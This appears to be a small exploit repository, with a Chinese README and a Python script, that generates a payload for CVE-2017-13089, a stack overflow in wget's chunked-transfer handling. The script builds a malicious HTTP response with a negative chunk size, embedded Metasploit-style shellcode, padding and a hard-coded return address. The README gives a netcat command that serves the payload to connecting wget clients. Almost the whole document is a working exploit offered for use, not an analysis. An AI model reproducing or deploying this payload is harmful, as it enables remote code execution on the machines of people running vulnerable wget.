├── README.md
└── shellcode.py


/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2017-13089
2 | CVE-2017-13089 的payload 的生成程序，此版本需要手动定位出需要执行的栈的地址 # 直接是也是有可能成功的
3 | 
4 | shellcode 部分中 buf 为利用msf生成出的普通payload 直接替换你所需的payload即可
5 | 
6 | 使用方法如下：
7 | `python shellcode.py&nc -lp 80<payload`
8 | 
9 | 


--------------------------------------------------------------------------------
/shellcode.py:
--------------------------------------------------------------------------------
 1 | # coding=utf-8
 2 | # author : k2yk
 3 | 
 4 | # usage python shellcode.py&nc -lp 80 < payload
 5 | 
 6 | Payload = """HTTP/1.1 401 Not Authorized
 7 | Content-Type: text/plain; charset=UTF-8
 8 | Transfer-Encoding: chunked
 9 | Connection: keep-alive
10 | 
11 | -0xFFFFFD00
12 | """
13 | buf =  ""
14 | buf += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
15 | buf += "\xef\xff\xff\xff\x48\xbb\xc5\xb5\xcb\x60\x1e\xba\xb2"
16 | buf += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
17 | buf += "\xaf\x8e\x93\xf9\x56\x01\x9d\x79\xac\xdb\xe4\x13\x76"
18 | buf += "\xba\xe1\x53\x4c\x52\xa3\x4d\x7d\xba\xb2\x53\x4c\x53"
19 | buf += "\x99\x88\x16\xba\xb2\x1b\xea\xd7\xa2\x0e\x31\xc9\xda"
20 | buf += "\x1b\x93\xe2\x83\xe9\xf8\xb5\xb7\x1b"
21 | 
22 | Payload += buf+(568-len(buf))*"A"
23 | Payload += "\xdd\xdd\xff\xff\xff\x7f\x00\x00" #SHELLCODE 起始地址 如无意外需自己手动定位
24 | Payload += "\n0\n"
25 | 
26 | 
27 | 
28 | with open('payload','wb') as filePayload:
29 |     filePayload.write(Payload)
30 |     filePayload.flush()
31 | 
32 | 


--------------------------------------------------------------------------------